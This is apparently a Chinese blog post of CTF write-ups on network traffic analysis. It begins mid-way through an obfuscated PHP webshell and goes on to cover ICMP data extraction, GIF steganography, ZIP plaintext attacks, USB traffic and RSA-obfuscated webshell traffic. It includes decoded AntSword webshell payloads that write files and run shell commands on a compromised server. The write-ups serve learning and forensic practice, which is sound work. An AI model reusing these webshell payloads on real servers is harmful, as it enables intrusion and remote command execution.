13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($........................................)) { $......................................... = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]); } echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12)); |
发现这样一串,php混淆
- 解混淆得到
1 |
|
查看后三个流,发现pass都是等于sha1($d)的,三个流的重要信息为cookie和content
1 | Cookie: qd=Myo+Ijox; ys=NC8oOCtvVUtTJA== |
Cookie中的ys总是一样的,Content中的GIF89a
是在请求的Content中存在的,需要去掉,success_1
是php末尾的echo输出的,也去掉
Cookie中的qd和ys,决定了call_user_func
,通过echo $i;echo$g
可以得到三次命令执行的是什么,因为ys是一样的,所以$i一直是shell_exec
,qd不同导致执行的命令不同,发现在Stream 3时执行的是cat /flag
- 接下来就是逆向了,把XorDecrypt这个函数逆一下就好
1 | function xorEncrypt($plaintext, $key) |
- 得到flag:
DASCTF{y0u_4re_phpP4rs3r_m4st3r}
困难
0x01 蜘蛛侠呀
困难在 很难猜到后面的gif隐写
wireshark里面主要是icmp包,查看这些icmp,发现data里面类似base64编码,用tshark提取出来
1 | tshark -nr "out.pcap" -Y 'icmp.resp_to' -T fields -e "data.data"|xxd -r -p |sed 's/^.*\$//g' |awk 'NR%2 == 0' > zhishuxia_ssh.txt |
-Y 过滤的是reply包,**-e** 提取data,xxd是把提取的hex解码,sed删除前面多余的$$START$$
,取出来的消息每条有一个重复,利用awk每隔一行打印(NR为行号,模2为0实现每隔一行打印)
开头的—-BEGIN CERTIFICATE—–和结尾的end一开始让我以为是什么证书文件,对应数据包中也有ssh,以为是要通过证书解密ssh,发现在wireshark中ssh不支持这么做,尝试无果
- 把多余的信息(certificate的标头和标尾)去除后,直接拿去base64解码,得到了一个zip文件
- zip里面是一个
flag.gif
,开始gif隐写了,这里是时间轴隐写
关于gif隐写 GIF - CTF Wiki (ctf-wiki.org)
identify -format "%T " flag.gif
查看每一帧的时间间隔,发现是20和50交替
- 利用sed,把20转成0,50转成1;利用tr删除空格:
identify -format "%T " flag.gif | sed 's/20/0/g' | sed 's/50/1/g'|tr -d ' '
1 | 011011010100010000110101010111110011000101110100 |
- cyberchef-from binary
- flag为
mD5_1t
经过md5后的密文,那么再加个md5
- 包上flag:
flag{f0f1003afe4ae8ce4aa8e8487a8ab3b6}
这道题,挺有意思的,卡在gif隐写,我不是很熟😭
0x02 [DASCTF X GFCTF 2022十月挑战赛!]ez_xxd
- 其实没想好归于中等还是困难,还是归于困难吧,过程有点繁琐,,,,
- 过滤http,可以看到get了一个flag.txt,在wireshark中export objects导出http对象,可以看到里面有个
flag.txt
和maybe_today.zip
,把这两个文件保存下来
- zip有加密,先看flag.txt感觉是base64,交给cyberchef,发现解出来是一堆十六进制,结合题目xxd,再from hex一下,发现关键信息
IHDR
,推测是png格式,但貌似少了头
- 保存下来,打不开,需要把头补回去,在开头补上
89 50 4E 47 0D 0A 1A 0A
,再打开是一张这样的图片。老二次元是不是可以直接看出来,哈哈,可惜我不是,我goole识图了一下,原来是初音未来
- 简单检查了一下常见的png隐写,未发现任何隐写,转到zip,发现里面有一张
Miku.png
,大小也差不多,bkrack -L maybe_today.zip
发现压缩算法是ZipCrypto
,猜测是明文攻击,又到bkcrarck
登场了。在此之前记得把这张图片也以相同的ZipCrypto方式压缩在一个压缩包里。
- 拿到key之后,直接用新的zip和密码替换
- 打开new.zip,仔细查看(我没仔细看,导致后面的压缩包不知道咋解),发现有两个可疑的地方,一个是有一个
flag
文件夹,里面放着一些mysql的文件,js
文件夹里的SceneManager.js,里面有一句password,后面可能会用到
这几个文件经过搜索为mysql的备份文件,经尝试,mysql8无法成功,使用mysql5的版本,可以用phpmyadmin直接新建一个flag数据库(新建数据库文件夹里会出现db.opt文件),接下来只需要把所有的文件复制进数据库文件夹里即可
SceneManager.js里的密码:sWxSAnweQIES46L
- 在phpmyadmin中恢复数据之后,能看见存了一个bin文件
- 把bin文件存下来,可以先cat几行,发现是base64,丢给cyberchef,发现解码后是个zip
- 存下来又是一个加密的zip,里面是一个flag.txt,尝试了伪加密之后,(我卡在这了),想起之前的密码,解一下,发现flag.txt里面和题目很像,搜索发现是兽语加密,解密得到一串base64
- cyberchef from base64 解码又是熟悉的十六进制,再from hex一下,拿到了flag:
dasctf{l0ve_you_want_l0ve}
哎,我总是不仔细查所有文件,下意识以为用过一次就不会用了;有时每一步的尝试也并不透彻,导致陷入苦恼,其实离flag就差一点了,,,应该更仔细点的,,,,
0x03 [VNCTF2022公开赛]Strange flag
流量分析部分很简单,然后就触到盲区了,esolang的一种叫Folders的语言
流量分析部分就是追踪一下post请求包,最后发现打印了tree flag/的结果
如果你了解esolang这就是一道小型编程题,如果你不了解,这就是脑洞题
- 利用python根据文本内容创建文件夹:
1 | import os |
Folders 有工具,pip install Folders,然后 Folders flag/,得到 flag:vnctf{d23903879df57503879bcdf1efc141fe}
- 脑洞
只看倒数第二级,原因大概是,是稳定的四个文件,通过无子文件夹(0),有子文件夹(1),生成01字符串,解码。
0x04 [SUCTF2019]protocol
- usb流量里面算难的了,所以放在了困难里
- 假flag是suctf{have_fun!}
- 发现usbhid.data里有
89504e
这串敏感数据(png头)猜测藏了png,用tshark 提取usbhid.data 存进txt,然后丢进cyberchef,导出为dat文件,foremost分离dat文件拿到很多图片:
- 这些图片需要镜像一下,在文件夹下:
convert -flop *.png
- 接下来我们需要知道这些字符的顺序,回到wireshark,按照length排序一下发现hiddata第二个字节在变化,tshark提取出来,通过
cut -c 3,4
提取第三个和第四个字符,也就是变化的那个字节
- 观察到图片每15张字母图后面会有10张全黑图片,所以按照
15 10 15 10
的方式切割:
1 | 04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a |
发现15个的顺序都是04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a
- 接下来需要一些小脑洞:10张黑色图片的信息就是15张字母图的信息的索引,例如06对应第一排第6个数据09,也就是第一排15张图片中的第9张,也就是字母
s
的图片。其中有索引00
这样的情况出现,这个只能根据字符串含义在剩余图片里猜猜了 - 按照这个规律拿到flag:
suctf{My_usb_pr0toco1_s0_w3ak}
0x05 [XMAN2018排位赛]ppap
- 涉及到opencv
- 打开wireshark,按照length排序,追踪length最大的数据包所在的tcp流,发现了3段对话
1 | yaaaaaaaar, land ho!Hey wesley, you got that flag?Ayy, I got yer files right here, matey! |
所以里面需要分离出三个文件jpg、zip和xml,需要仔细查看文件,很容易漏掉xml
- jpg文件可以分离出很多的jpg
- zip文件里面存了一个flag.txt,但是zip是加密的,需要密码
- xml文件,里面有一个
的标签 - 接下来就又触碰到我的知识盲区了:opencv,暂时不打算研究这个怎么写,要根据对话中的提示设置scale和neighbors
代码复制的 [BUUCTF-MISC-XMAN2018排位赛]ppap(详细解析)-CSDN博客
1 | import os |
扫完了拿到一张图
是这个骷髅头,英文名为 skullandcrossbones,就是zip的密码
看了别人的wp有人直接爆破出来了,但我没成功:ZIP File Password Recovery Online | passwordrecovery.io
- flag:
flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}
😭的确很难,其实写到这里,我已经在考虑是否这个系列还要更新下去了,因为感觉已经偏离了掌握分析流量技巧或wireshark/tshark使用的初心,后面做的题都偏向把流量分析当一个壳,实际的考点却是别的。
0x06 [DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]IceTea
- 蚁剑+逆向。这道题对于我来说是中等偏简单的(因为我偶尔做做rev,虽然很菜),但是想着对于不碰逆向的人来说,这也许有点困难?
其实我打过这场比赛,但是当时对流量分析还不是很了解,所以不会做,看了wp之后也觉得很复杂,但现在做了很多流量分析题之后居然觉得还挺简单的?😄感受到了自己在流量分析上的进步。
- 过滤一下http,很容易发现是蚁剑攻击流量,一共有四个post,我们需要关注这四个数据包所在的http流。
**tcp.stream eq 0:*主要由一段16进制和base64组成,这个流重点讲讲,后面的流依葫芦画瓢*
16进制解hex是一个elf文件,DIE看一下发现加了UPX壳,需要先使用upx -d
,解壳
解壳之后 ida64打开,发现是一个base64换表编码的函数:
shift+f12可以看见表: abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/
,a点进去可以看见,先留着。
因为第一行中的:cmd=%40eval(%40base64_decode(%24_POST%5B'gca74cf27602f7'%5D))
urldecode之后很容易知道,代码的意思就是运行这个参数base64解码后的代码,gca74cf27602f7
是参数名
base64的部分就是php代码了,注意要去掉参数的名称部分,例如这里去掉前缀gca74cf27602f7=
,同时去掉后面的参数
只base64解码参数gca74cf27602f7=
的值(QGlu…),得到这样的代码:
1 | @ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.573ef8c9dd12";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";}ob_start();try{$f=base64_decode(substr($_POST["idb82191cedb24"],2));$c=$_POST["e748c4dcd196bb"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
逻辑大概理一下就好了,有些代码的含义可以参考蚁剑流量分析及改造 - FreeBuf网络安全行业门户
主要关注的信息是echo和代码里面涉及到的参数(例如idb82191cedb24,e748c4dcd196bb),对应着输出和执行代码。输出最重要的是echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";
,其中最重要的是$output的输出
(也就是我们需要关注ob_start()后面的echo的内容
);参数最重要的点就是,一般来说会从第三个字符开始截取,经常可以看见例如:base64_decode(substr($_POST["idb82191cedb24"],2))
,进行base64解码的时候要注意代码中对于这个参数的截取是全部还是从第三个字符开始。
这里参数的值,idb82191cedb24经过base64解码(注意substr):
1 | idb82191cedb24: /www/wwwroot/DAS202310.com/ezbase |
可见这个代码功能主要是把elf存为ezbase这个文件
返回的内容是fb708664MQ==870b983ed5
,根据echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";
知道我们需要关注的是中间的$output,也就是这里的==所在的位置(只是说明我们需要关注的位置,并不是说==
这个内容很重要)
tcp.stream eq 1: 同样的思路先把php代码解码出来:
1 | /www/wwwroot/DAS202310.com/ #这是idb82191cedb24的值,是一个文件路径 |
$output的结果是目录底下文件的信息,包括名称,创建时间,大小,权限这些信息
来看返回的结果:
1 | 8a90e52a85Li8JMjAyMy0wOS0yNiAxOTowMjoyNAkxNTgJMDc1NQouLgkxOTcwLTAxLTAxIDA4OjAwOjAwCQkwCi51c2VyLmluaQkyMDIzLTA5LTI2IDE1OjI4OjI1CTQ2CTA2NDQKaW5kZXguaHRtbAkyMDIzLTA5LTI2IDE1OjI4OjI1CTkxNwkwNzU1CjQwNC5odG1sCTIwMjMtMDktMjYgMTU6Mjg6MjUJNDc5CTA3NTUKLmh0YWNjZXNzCTIwMjMtMDktMjYgMTU6Mjg6MjUJMQkwNzU1CnNoZWxsLnBocAkyMDIzLTA5LTI2IDE2OjI2OjIxCTUwCTA2NDQKZmxhZy50eHQJMjAyMy0wOS0yNiAxNzoxODoyMwkzOAkwNjQ0CkljZVRlYS5jYXAJMjAyMy0wOS0yNiAxOTowMjoxMwkwCTA2NDQKZXpiYXNlCTIwMjMtMDktMjYgMTk6MDI6MjQJMjc4NjQJMDc3NwpJQ0VfVEVBLnR4dAkyMDIzLTA5LTI2IDE3OjM0OjUxCTUyCTA2NDQK6a162ad |
把前后的echo内容:8a90e52a85和6a162ad去掉后,中间的部分就是$output,解码后得到
1 | ./ 2023-09-26 19:02:24 158 0755 |
可以看到这个目录结构,里面存了一个flag.txt和ICE_TEA.txt,以及之前存下的elf——ezbase
tcp.stream eq 3:
cmd=%40eval(%40base64_decode(%24_POST%5B'v58ffabfc37579'%5D))%3B
注意这里要提取的参数是v58ffabfc37579
,找到后,base64解码一下(以下内容只保留关键部分)
1 | echo "1f6dc"."d210b5";echo @asenc($output);echo "a52"."ea3d";}ob_start();try{$p=base64_decode(substr($_POST["k275f4d770f3a3"],2));$s=base64_decode(substr($_POST["dd6f4eedea78f3"],2));$envstr=@base64_decode(substr($_POST["gde84aa25ae3d4"],2)); |
依次解码提到的几个参数,注意substr的截取:
1 | k275f4d770f3a3: /bin/sh |
显然dd6f4eedea78f3这个参数内容是执行的shell命令,/ezbase e flag.txt IceTea.txt
这句应该是对flag.txt进行base64换表加密,密文保存在IceTea.txt中。
tcp.stream eq 4:
php代码参数是k59c2ae7730483
1 | echo "7db"."35e";echo @asenc($output);echo "f6957c"."a6229b";}ob_start();try{$p=base64_decode(substr($_POST["k275f4d770f3a3"],2));$s=base64_decode(substr($_POST["dd6f4eedea78f3"],2));$envstr=@base64_decode(substr($_POST["gde84aa25ae3d4"],2)) |
参数解码,注意substr:
1 | k275f4d770f3a3: /bin/sh |
“掐头去尾”后,base64 解码,得到输出结果:
1 | reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=27d667b0c949 |
reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=
就是cat IceTea.txt
的输出内容
- 接下来问题就是
reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=
的base64换表解密,丢给cyberchef,表我们早就拿到了
- flag :
DASCTF{Ice_tea_is_not_a_loser_drink!}
很愉快的一次蚁剑流量分析,因此这道题wp也写的挺多的
0x07 [2022DASCTF X SU 三月春季挑战赛]Hi!Hecker!
icmp流量分析+git知识,长了一些经验教训。git部分已经失效无法复现,重点掌握icmp数据处理。
很明显可以看到icmp的data里面是有数据的,过滤规则
icmp.resp_to
只过滤reply包length排序后,发现有600长度的数据包,显然就不正常,发现里面有
504b0506
是zip尾部,这个时候seq=8,再搜索一下504b0304
发现在seq=1的包里,所以整个压缩包文件的传递是从seq=1到seq=8。对应的过滤规则为:icmp.resp_to && icmp.seq<9
- tshark 按照指定过滤规则提取,并且去除掉开头的重复数据
41d88d144
1 | tshark -nr "Hi!Hacker.pcapng" -Y 'icmp.resp_to && icmp.seq < 9' -T fields -e "data.data" |sed 's/41d.*beef//g'|sed 's/1337133711333377//g'|tr -d '\n'> 1.txt |
sed 一定要同时关注头部和尾部的多余信息,而且可能多余信息包与包之间不同,但是位数一般是一样的,比如这里(借用一下别人的图)头部多余数据是41d88d144...deadbeef
这一长串,而且包与包之间这一串也有不相同的部分,这一点要特别注意,可以看见删除之后504b0304这个zip头就出来了;尾部的多余数据很好发现,就是1337133711333377
最好删掉\n,否则下一步容易出问题。你可以先不加,来更好的观察多余数据,但16进制转储的时候最好删掉。
在数据处理的时候一定要细心啊😭
- 拿到txt之后丢进cyberchef里面,把保存输出为
Hecker.zip
文件。或者用xxd:cat 1.txt |xxd -r -p >hecker2.zip 。
不删换行的话这里cyberchef可能output数据会报错:Data is not a valid byteArray: [80,75,3,4,10,0,0,0,0,…;xxd转储出来的文件也可能会有问题
- 拿到的zip结构如下:
如果你的多余数据删除的不正确,是无法靠binwalk分离出所有的文件的,亲测会缺斤少两
- 经过搜索
jenkins
,找到了解密的工具:hoto/jenkins-credentials-decryptor:用于转储 Jenkins 凭据的命令行工具。 (github.com) - 这些文件我们都有,更加印证了,应该使用这个工具解密
- 安装后,直接输入命令
输出结果如下:
1 | 0 |
把内容保存为ssh key文件,记得格式问题,我一直尝试删除换行符那些,但还是显示invalid format,我也不知道问题出现在哪里,key的内容我直接复制这个wp中给出来的:https://forum.butian.net/share/1464
Ssh-add 把私钥加进去
wireshark 里面tcp的流中有一段显示了他的github地址:
Esonhugh/secret_source_code
- git clone 下来,但是由于过去太久了,出题人应该已经删库了
- 后续我看别人写的wp,clone下来没什么东西,flag在上一个版本里面,要恢复上一个版本
- 这题的wp也很少,剩下步骤请查看:
https://forum.butian.net/share/1464
[2022DASCTF X SU 三月春季挑战赛 WriteUp_2022dasctf x su 三月春季挑战赛 web calcatao]-CSDN博客
好难啊😭
关于icmp我长教训了:
- length排序一下,看看有没有特殊的数据包(因为这种数据包的时间顺序(No大小就代表时间顺序)和seq顺序可能不一致,这样会导致一些关键数据错位或者夹杂一些别的数据影响文件提取);
- 或者在binwalk发现数据内含有压缩包的时候,去查找一下数据包的位置,可以直接搜索
504b0304
查找zip的头,再搜索504b0506
查找一下zip的尾部,一定要确保zip里面的数据完整且顺序正确; - 还有一个重要的点是icmp经常会出现头部和尾部出现多余数据的情况,每个包的多余数据要删除掉,要仔细观察多余数据通常位数相同但是不一定完全相同,一定要仔细观察!!!;
- tshark提取,特别是涉及到这种16进制,一定要记得
tr -d '\n'
删掉末尾的\n,否则cyberchef的from hex是不能像from base64一样移除不符合规则的字符的
我就是因为没确认zip位置也发现头部和尾部完整的多余数据,导致binwalk分析出现问题,也无法正确解密
0x08 [未解决] ezflow
- MQTT协议,没见过,wp甚至也只找到两篇,还没怎么看懂,先留着吧
0x09 [DASCTF X CBCTF 2022九月挑战赛]easy_keyboard
0x10 [NKCTF 2024] Webshell_pro
- webshell+RSA+base64混淆,webshell经过了混淆和加密
- 追踪tcp流量,能看到请求包和回复包看起来像是两种不同的base加密
但是我们直接把红色部分丢给cyberchef urldecode之后base64却没有得到有效字符串,蓝色部分也是一样
- 用basecrack解密
OJXW65AK
,发现是base32
一共有13个流(0-12),按照这个逻辑先把所有的流中的回复都解密了,重要的信息如下:
- tcp.stream eq 4的回复看起来像是ls某个目录的结果,里面有一个FLAG
1
2
3
4
5
6
7
8
9
10
11Compressed
Desktop
Documents
Downloads
FLAG
Music
Pictures
Public
Templates
Videos
WSL- tcp.stream eq 5的回复,看起来也像是目录里存着的文件,大胆猜测就是FLAG目录
1
2hint.py
小明的日记.txt- tcp.stream eq 7 是cat 小明的日记.txt的结果
1
cat: 小明的日记.txt: No such file or directory
- tcp.stream eq 8的回复base32解码之后是一串base64编码,再解码得到一个PASSWORD,先存着
1
2
3
4
5FLAG is NOT HERE!!!!!!!!!!!
PASSWORD:
Password-based-encryption- tcp.stream eq 9是最重要的,也是需要再经过base64,解码后是一个python文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39import base64
import libnum
from Crypto.PublicKey import RSA
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def encrypt(plain_text):
# 私钥加密
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())
if __name__ == '__main__':
m = b"-RSA-" * 30
print(f"原始数据: {m}")
c = encrypt(m)
print(f"加密数据: {c}")- tcp.stream eq 11看起来是eq 5的目录下多了一个flag.txt
1
2
3flag.txt
hint.py
小明的日记.txt- tcp.stream eq 12 结束:
Good Luck! ByeBye~
信息统计完了,我们先搞明白eq 9中的python代码,首先这是一个RSA加密,加密完成之后经过enc_replace函数返回,这个函数是一个简单的base64混淆,将/+=替换成了三种不同的字符串,联想到请求包中无法正常base64解码的数据,结果发现请求也经过了base64混淆,合理猜测,所有的请求都经过这个python代码的加工。
在写解密脚本之前,我们需要先使用tshark把所有的数据提取出来保存到文件中:
1 | tshark -nr "webshell_pro.pcapng" -Y 'http.request.method == POST ' -T fields -e "urlencoded-form.value" > webshell.txt |
- 源代码先加密(私钥加密)后base64然后混淆,所以解密脚本需要先解混淆,在base64解码,再rsa解密(公钥解密)。按照这个逻辑,我先手动进行了解混淆,你也可以直接加一个解混淆的函数,我觉得直接解混淆也很方便所以直接手动解了,直接在文本中替换字符串即可。我的解密脚本如下:
1 | import base64 |
结果如下:
1 | b'whoami' |
中间那串\x就是小明的日记
注意到:echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt
- 观察打印结果,发现和我们拿到的回复经过base32解码得到的结果是对应的,因此我们的猜测是对的。注意到有一个命令是往flag.txt中写入了一串字符
1 | U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== |
- 到这很兴奋,丢给cyberchef解base64却发现解出来不是flag,只在开头发现了
Salted__
,很可疑。
- 经过搜索发现:
Salted__
: 这个是通过openssl加密如果不带base64就会出现Salted字段打头。openssl使用的是AES加密。再看base64的前几个字段U2Fsd确定是AES加密无误。
结合我们之前拿到的PASSWORD,应该是在AES中作为key加密的,稍微有点坑,经过尝试,在线网站秒了,但是cyberchef和openssl命令行解密似乎都做不到,cyberchef的密钥长度仅支持16/24/32bytes,但是我们拿到的密钥是25个bytes。最后尝试在线网站,发现直接出了:sweat:
补一句:后来发现openssl也可以解要加-md5
网址:在线AES加密 | AES解密 - 在线工具 (sojson.com)
- flag:
NKCTF{d0e1183c-07c3-49ea-b048-addbe6cc1b20}
关于这道题,我涨了一点关于openssl的知识:
正常来说,我们直接openssl 通过-pass设置密码,-a设置base64输出,加密flag就会得到U2FsdGVkX开头的base64字符串,解码后是
Salted__
,无论是CBC还是ECB都会默认加salt,用特定的算法生成密钥;所以用cyberchef或者别的常规AES是无法解密的使用openssl命令行加解密可以发现,密文和password确定的情况下,salt和key是可以直接得出来的,使用-p打印key和salt,值得一提的是每次加密的salt和key都是不同的
这道题显然是openssl,但是我也不知道这个网站到底用的什么mode,改了什么东西,总之得到的密文虽然长度正确,但是直接用openssl解密是失败的,也是挺搞。下次openssl先用在线网站解,,,
破案了😭:
- Title: CTF_MISC流量分析做题记录
- Author: MADISUN
- Created at : 2024-03-06 11:39:59
- Updated at : 2024-08-26 22:53:17
- Link: https://redefine.ohevan.com/2024/03/06/MISC-流量分析做题记录/
- License: This work is licensed under CC BY-NC-SA 4.0.